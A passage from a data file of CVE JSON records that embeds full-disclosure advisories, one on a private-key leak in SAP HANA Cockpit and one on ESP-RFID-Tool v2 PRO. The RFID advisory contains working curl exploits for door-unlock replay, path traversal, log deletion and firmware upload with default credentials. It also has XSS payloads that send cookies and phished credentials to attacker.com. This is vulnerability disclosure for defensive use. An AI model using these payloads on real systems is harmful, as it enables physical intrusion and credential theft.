          "url": "https://seclists.org/fulldisclosure/2026/Aug/7"
        },
        {
          "url": "https://github.com/x0jac0b0x"
        },
        {
          "url": "https://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Skullcandy Dime 3 unauthorized Bluetooth pairing behavior",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-20701",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0282",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/7",
            "automated": true,
            "contentSha256": "76718710d96bdc9795176214e35243cb3e582c997a565fae63c5f0d93fde612b",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-28T20:00:34Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0282"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:24:56Z",
    "dateUpdated": "2026-09-08T11:24:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0282"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260415-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260415-0 \u003e\n=======================================================================\n              title: Exposed Private Key of X.509 Certificate\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: SAP HANA Cockpit \u0026 SAP HANA Database Explorer\n vulnerable version: HANA Cockpit \u003c2.18.2 (HRTT \u003c2.16.254002)\n\u00a0 \u00a0 \u00a0 fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-34262\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.sap.com/\n              found: 2025-04-24\n                 by: Ben Samtleben (Office Berlin)\n                     Bernd Kaufmann (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SAP is one of the world\u2019s leading producers of software for the management\nof business processes.\"\n\nSource:https://www.sap.com/about/what-is-sap.html\n\n\"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA\ncockpit provides tools for the administration and monitoring of SAP HANA\ndatabases (databases), and for development capabilities through the SAP\nHANA database explorer.\"\n\nSource:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately, see\nSAP Security Note 3730639 (https://me.sap.com/notes/3730639.\n\nThis patch does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly\nrecommends rotating the affected X.509 certificates and corresponding private\nkeys - even if this is currently not mentioned in the SAP Security Note.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nSAP HANA Cockpit users with access to the Database Explorer can obtain the\nX.509 certificate issued to the application server and its corresponding\nprivate key. This information can be used to impersonate the application server\non network level, allowing an attacker to obtain user credentials or other sensitive\ndata. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.\n\n\nProof of concept:\n-----------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nWhen accessing the Database Explorer via the SAP HANA Cockpit, the following\nHTTP request is sent to the HRTT service in the background:\n\nGET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1\nHost: hana-cockpit-web-app.example.org:31033\nCookie: JSESSIONID=[...]\n[...]\n\nThe server response contains a list of all available databases.\n\n{\n    \"__count\": 6,\n    \"d\": {\n        \"results\": [\n            {\n                \"__metadata\": {\n                    \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n                    \"type\": \"database.Database\"\n                },\n                \"id\": \"C123456789\",\n                \"group_id\": 0,\n                \"catalog_name\": \"SID@SID\",\n                \"type\": \"COCKPIT_RESOURCE\",\n                \"disabled\": false,\n                \"has_login\": false,\n                \"cockpit_resource_id\": 123456789,\n                \"database_product_name\": \"HANA\",\n                \"options\": {\n                    \"schema_filter\": \"[]\"\n                },\n                \"set_xs_applicationuser\": true,\n                \"hdl_support_sof\": false\n            },\n            // [... more entries here...]\n        ]\n    }\n}\n\nHowever, the response can vary - most likely depending on other HTTP requests\nthat have been sent. A more verbose response can be triggered by manually\ninteracting with the Database Explorer and then repeating the request.\n(No database credentials are needed.) Then, the following information is returned:\n\n{\n    \"__count\": 6,\n    \"d\": {\n        \"results\": [\n            {\n                \"__metadata\": {\n                    \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n                    \"type\": \"database.Database\"\n                },\n                \"id\": \"C123456789\",\n                \"group_id\": 0,\n                \"catalog_name\": \"SID@SID\",\n                \"type\": \"COCKPIT_RESOURCE\",\n                \"disabled\": false,\n                \"has_login\": false,\n                \"cockpit_resource_id\": 123456789,\n                \"database_product_name\": \"HANA\",\n                \"cockpit_resource_name\": \"SID@SID\",\n                \"options\": {\n                    \"hosts\": [\n                        {\n                            \"host\": \"isidhdb01.example.org\",\n                            \"port\": \"31013\"\n                        }\n                    ],\n                    \"databaseName\": \"SID\",\n                    \"encrypt\": true,\n                    \"ca\": [\n                        \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]zg==\\n-----END \nCERTIFICATE-----\\n\",\n                        \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]c4=\\n-----END CERTIFICATE-----\\n\",\n                    ],\n                    \"sslValidateCertificate\": true,\n                    \"key\": [\n                        \"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----\"\n                    ],\n                    \"cert\": [\n                        \"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN \nCERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----\"\n                    ],\n                    \"schema_filter\": \"[]\"\n                },\n                \"set_xs_applicationuser\": true,\n                \"hdl_support_sof\": false\n            }\n            // [... more entries here...]\n        ]\n    }\n}\n\nThe HTTP response does not only leak additional metadata, but most importantly an X.509\ncertificate chain and the private key of the leaf certificate. This certificate is issued\nto the application server hosting the SAP HANA Cockpit, not to the database server.\n\nThe vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,\nso it does not require administrative privileges.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions are affected:\n* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)\n\n\nVendor contact timeline:\n------------------------\n2025-07-01: Contacting vendor through vulnerability submission web form, receiving\n            automatic confirmation.\n2025-10-13: Recontacting vendor via email after no response.\n2025-10-17: Vendor responds, declaring the issue \"resolved\" by Aug 30 without\n            further details.\n2025-10-29: Inquiring about assigned CVE or SAP Security Note.\n2025-11-12: Sending reminder after no response.\n2025-11-28: Sending another reminder, still no response.\n2025-12-03: Vendor responds with the version containing the patch; states that\n            no CVE will be assigned.\n2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are\n            essential to inform customers and make them rotate their certificates.\n2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.\n2026-02-11: Contacting the vendor again, asking for any updates.\n2026-02-12: Vendor responds, reiterating patched version, no mention of SAP Security\n            Note or CVE.\n2026-02-12: Reminding vendor of importance of notifying affected customers due to\n            required certificate rotation.\n2026-02-25: Contacting MITRE regarding CVE assignment dispute.\n2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.\n2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.\n2026-04-15: Public release of advisory\n\n\nSolution:\n---------\nAccording to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).\nFor information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).\n\nHowever, this does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly recommends\nrotating the affected X.509 certificates and corresponding private keys -\neven if this is currently not mentioned in the SAP Security Note.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Ben Samtleben, Bernd Kaufmann / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/16"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html"
        },
        {
          "url": "https://me.sap.com/notes/3730639"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sap.com/"
        },
        {
          "url": "https://www.sap.com/about/what-is-sap.html"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260415-0 :: Exposed Private Key of X.509 Certificate in SAP HANA Cockpit \u0026 SAP HANA Database Explorer",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-34262",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0275",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16",
            "automated": true,
            "contentSha256": "6f655d6928dcb34aeba6f04fef53749b3510306845eac1066e4290c98b8b47c7",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-15T09:25:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0275"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-08T08:13:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0275"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "ESP-RFID-Tool v2 PRO",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Milan Berger via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Security Advisory: ESP-RFID-Tool v2 PRO\n\n**Product:** ESP-RFID-Tool v2 PRO\n**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de\n**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2\n**Affected Version:** v2.2.1 (latest as of 2026-04-28)\n**Severity:** CRITICAL\n**Disclosure Type:** Full Public Disclosure\n**Disclosure Date:** 2026-04-28\n**Researcher:** Milan \u0027t4c\u0027 Berger\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-04-26 | Vulnerabilities discovered during code review |\n| 2026-04-27 | Researcher posted responsible disclosure comment on his\nadvertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher posted responsible disclosure comment again on\nhis advertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher attempted contact via additional social media\nchannels |\n| 2026-04-28 | Vendor blocked researcher on all contacted channels; no\nacknowledgment given |\n| 2026-04-28 | Full public disclosure \u2014 48h contact window exhausted,\nvendor uncooperative |\n\n---\n\n## Summary\n\nThe ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by\nRaik Schneider targeting security researchers and red team operators. It is\nbased on an ESP8266 microcontroller and provides a web interface for\nlogging, replaying, and analyzing Wiegand RFID data from physical access\ncontrol systems.\n\nMultiple critical security vulnerabilities were identified in firmware\nv2.2.1. The most severe findings allow any unauthenticated attacker with\nnetwork access to: replay captured RFID credentials against physical door\nlocks, read the complete device configuration including plaintext\npasswords, and permanently destroy all captured evidence \u2014 all without\nauthentication.\n\nNote: A full practical verification of all exploits involving physical\nsignal transmission could not be performed as no Wiegand access terminal\nwas available during testing.\n\nThe vendor was notified through all available channels. All notifications\nwere deleted, and the researcher was blocked. Full disclosure follows.\n\n---\n\n## Vulnerability Summary\n\n| ID | Severity | Title |\n|----|----------|-------|\n| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX \u2014 Physical Access\nControl Bypass |\n| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth\npresent, but trivially bypassed) |\n| ESPR-03 | **CRITICAL** | Path Traversal \u2014 Arbitrary SPIFFS File Read |\n| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |\n| ESPR-05 | **HIGH** | Stored XSS via Log Injection |\n| ESPR-06 | **HIGH** | Hardcoded Default Credentials |\n| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |\n| ESPR-08 | **MEDIUM** | No CSRF Protection \u2014 Entire Application |\n| ESPR-09 | **MEDIUM** | Plaintext FTP Server |\n| ESPR-10 | **MEDIUM** | Missing Security Response Headers |\n| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |\n| ESPR-12 | **LOW** | Predictable AP SSID \u2014 Device Fingerprinting |\n| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |\n\n---\n\n## Detailed Findings\n\n---\n\n### ESPR-01 \u2014 Unauthenticated Wiegand TX: Physical Access Control Bypass\n\n**Severity:** CRITICAL\n**File:** `api_server.cpp`\n**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`\n\n**Description:**\nAll Wiegand transmission API endpoints execute hardware TX operations\nwithout any authentication check. Any attacker on the same network can\nreplay arbitrary Wiegand bitstreams to downstream access control hardware \u2014\nunlocking physical doors, gates, or secured areas \u2014 with a single\nunauthenticated HTTP GET request.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/api/tx/bin\", []() {\n    // ...\n    // No server.authenticate() call\n    apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Replay a captured 26-bit HID card to open a door\ncurl \"\nhttp://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\n\"\n\n# Re-encode a known UID and transmit\ncurl \"http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\";\n\n# Instant transmission (no response wait)\ncurl \"http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001\n\"\n```\n\n**Impact:**\nPhysical security bypass. An attacker who previously captured a card UID\n(e.g. via ESPR-07) can immediately replay it to open the corresponding door\n\u2014 all from an unauthenticated HTTP request. This completely undermines the\ndevice\u0027s operational security model.\n\n---\n\n### ESPR-02 \u2014 Log Deletion via Default Credentials\n\n**Severity:** MEDIUM\n**File:** `esprfidtool.ino`\n**Endpoints:** `/deletelog`, `/deletelog/yes`\n\n**Description:**\n`/deletelog/yes` requires HTTP Basic Authentication. However, the default\ncredentials (`admin:rfidtool`) are hardcoded and publicly known via the\nopen-source repository. Combined with ESPR-06, any attacker with knowledge\nof the default credentials can permanently delete all captured RFID logs.\n`/deletelog` (the confirmation page) has **no authentication**, which also\nmakes it a direct XSS vector (see ESPR-04).\n\n**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without\ncredentials. This finding was initially rated CRITICAL based on static code\nanalysis of an earlier version; auth is present in the tested build.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/deletelog/yes\", [](){\n  if(!server.authenticate(update_username, update_password))\n    return server.requestAuthentication();\n  // Auth present \u2014 but default credentials are public (admin:rfidtool)\n  SPIFFS.remove(deletelog);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Delete log using publicly known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1/deletelog/yes?payload=/log.txt\";\n```\n\n**Impact:**\nAny attacker who knows the default credentials (publicly available) can\npermanently destroy all captured evidence. Severity is driven by ESPR-06\n(hardcoded defaults) \u2014 fixing one without the other provides no real\nprotection.\n\n---\n\n### ESPR-03 \u2014 Path Traversal: Arbitrary SPIFFS File Read\n\n**Severity:** CRITICAL\n**File:** `esprfidtool.ino` \u2014 `ViewLog()`\n\n**Description:**\nThe `payload` parameter is passed directly to `SPIFFS.open()` without any\npath validation or sanitization. An unauthenticated attacker can read any\nfile stored in the device\u0027s SPIFFS filesystem, including configuration\nfiles containing plaintext credentials.\n\n**Vulnerable Code:**\n```cpp\nvoid ViewLog(){\n  String payload;\n  payload += server.arg(0);  // raw URL arg, no sanitization\n  File f = SPIFFS.open(payload, \"r\");\n  // outputs file content directly to browser\n}\n```\n\n**Proof of Concept:**\n```bash\n# Note: server.arg(0) reads the FIRST URL argument by position, not by name.\n# The correct syntax is ?\u003cfilename\u003e, not ?payload=\u003cfilename\u003e\n\n# Read device configuration (contains credentials in plaintext)\ncurl \"http://192.168.1.1/viewlog?/esprfidtool.json\";\n\n# Read log files (enumerate first via /api/listlogs)\ncurl \"http://192.168.1.1/viewlog?/log.txt\";\n\n# List all available filenames first\ncurl \"http://192.168.1.1/api/listlogs\";\n```\n\n**Note:** The endpoint only returns content if the file exists on SPIFFS.\nThe config file `/esprfidtool.json` is filtered from `ListLogs()` output\nbut is NOT\nfiltered in `ViewLog()`, making it directly readable via this endpoint.\n\n**Example Response:**\n```json\n{\n  \"ssid\": \"HomeNetwork\",\n  \"password\": \"mysecretwifi\",\n  \"update_username\": \"admin\",\n  \"update_password\": \"rfidtool\",\n  \"ftp_username\": \"ftp-admin\",\n  \"ftp_password\": \"rfidtool\"\n}\n```\n\n**Impact:**\nFull information disclosure. WiFi credentials, admin passwords, FTP\ncredentials, and all captured RFID card data (UIDs, bitstreams) are exposed\nto any unauthenticated attacker.\n\n---\n\n### ESPR-04 \u2014 Reflected Cross-Site Scripting (XSS)\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `DeleteLog()`\n**Endpoint:** `GET /deletelog`\n\n**Description:**\nThe `payload` URL parameter is reflected directly into the HTML response\nbody without sanitization or HTML encoding. An attacker can inject\narbitrary JavaScript that executes in the victim\u0027s browser.\n\n**Vulnerable Code:**\n```cpp\n// server.arg(\"payload\") embedded directly into HTML \u2014 no htmlEncode()\nserver.send(200, \"text/html\", \"... Deleting: \" + payload + \" ...\");\n```\n\n**Proof of Concept:**\n```\n# Basic alert PoC\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003ealert(\u0027Sag Danke\u0027)\u003c/script\u003e\n\n# Cookie exfiltration\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.location=\u0027\nhttp://attacker.com/?c=\u0027+document.cookie\n\u003chttp://attacker.com/?c=%27+document.cookie\u003e\u003c/script\u003e\n\n# Credential phishing overlay (effective in captive portal context)\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.body.innerHTML=\u0027\u003cform\naction=\"http://attacker.com/steal\";\u003e\u003cinput name=\"u\"\nplaceholder=\"Username\"\u003e\u003cinput name=\"p\" type=\"password\"\nplaceholder=\"Password\"\u003e\u003cinput type=\"submit\"\u003e\u003c/form\u003e\u0027\u003c/script\u003e\n```\n\n**Impact:**\nSession hijacking, credential theft, UI redressing. Severity is elevated\nbecause the device operates as a captive portal \u2014 victims auto-connect and\nare served the attacker-controlled page.\n\n---\n\n### ESPR-05 \u2014 Stored XSS via Log Injection\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` (log write path)\n\n**Description:**\nLog entries are written to SPIFFS containing raw data including HTML\nmarkup. When logs are rendered via `ViewLog()` or `ListLogs()` without\noutput encoding, an attacker who can inject HTML/JavaScript into a log\nentry achieves persistent stored XSS. This can be triggered by sending a\ncrafted Wiegand signal or via the unauthenticated TX API.\n\n**Proof of Concept:**\n```bash\n# Inject XSS payload via unauthenticated TX endpoint\n# Craft a bitstream that results in a log entry containing script tags\n# The exact binary depends on how the logging function serializes data,\n# but the vector is confirmed by the absence of HTML encoding on log output.\n\n# After injection, any admin viewing logs triggers the payload:\ncurl \"http://192.168.1.1/viewlog?payload=/log.txt\";\n# -\u003e \u003cscript\u003e...\u003c/script\u003e executes in admin browser\n```\n\n**Impact:**\nPersistent XSS. Any administrator viewing the log file executes\nattacker-controlled JavaScript. Can be used to steal credentials or pivot\nto further attacks.\n\n---\n\n### ESPR-06 \u2014 Hardcoded Default Credentials\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `loadDefaults()`\n\n**Description:**\nDefault credentials are hardcoded and publicly known via the open-source\nrepository. No forced credential change on first boot.\n\n| Service | Username | Password |\n|---------|----------|----------|\n| Web Interface / OTA Update | `admin` | `rfidtool` |\n| FTP Server | `ftp-admin` | `rfidtool` |\n| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |\n\n**Proof of Concept:**\n```bash\n# Authenticated firmware update with known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1:1337/update\"; -F\n\"image=@malicious.bin\"\n\n# FTP login\nftp 192.168.1.1\n# Login: ftp-admin / rfidtool\n```\n\n**Impact:**\nTrivial full authentication bypass for all credential-protected endpoints.\nAnyone familiar with the product has immediate access.\n\n---\n\n### ESPR-07 \u2014 Unauthenticated Log View + Filesystem Enumeration\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino`\n**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,\n`/api/lastread`\n\n**Description:**\nAll log viewing and filesystem enumeration endpoints require no\nauthentication. The `/api/lastread` endpoint additionally exposes the last\ncaptured card in real time.\n\n**Proof of Concept:**\n```bash\n# Enumerate all files on device\ncurl \"http://192.168.1.1/api/listlogs\";\n\n# Read captured card data\ncurl \"http://192.168.1.1/api/lastread\";\n# Response:\n{\"bits\":26,\"bitstream\":\"01001100...\",\"uid\":\"0A1B2C3D\",\"format\":\"HID26\"}\n\n# Get device info (firmware version, free space)\ncurl \"http://192.168.1.1/api/info\";\n```\n\n**Impact:**\nComplete exfiltration of all captured RFID card data "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:43Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/18"
        },
        {
          "url": "http://192.168.1.1/api/info\""
        },
        {
          "url": "http://192.168.1.1/api/lastread\""
        },
        {
          "url": "http://192.168.1.1/api/listlogs\""
        },
        {
          "url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000"
        },
        {
          "url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\""
        },
        {
          "url": "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001"
        },
        {
          "url": "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\""
        },
        {
          "url": "http://192.168.1.1/deletelog/yes?payload=/log.txt\""
        },
        {
          "url": "http://192.168.1.1/deletelog?payload="
        },
        {
          "url": "http://192.168.1.1/viewlog?/esprfidtool.json\""
        },
        {
          "url": "http://192.168.1.1/viewlog?/log.txt\""
        },
        {
          "url": "http://192.168.1.1/viewlog?payload=/log.txt\""
        },
        {
          "url": "http://192.168.1.1:1337/update\""
        },
        {
          "url": "http://attacker.com/?c=%27+document.cookie"
        },
        {
          "url": "http://attacker.com/?c=\u0027+document.cookie"
        },
        {
          "url": "http://attacker.com/steal\""
        },
        {
          "url": "https://github.com/Einstein2150/ESP-RFID-Tool-v2"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "ESP-RFID-Tool v2 PRO \u2014 Full Public Disclosure",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0272",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18",
            "automated": true,
            "contentSha256": "ab11a2b4096195e0c060316686e7fe713a92f2e11cf22ec1f7caf0b3374e9401",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-28T18:08:50Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-08T08:13:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0272"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
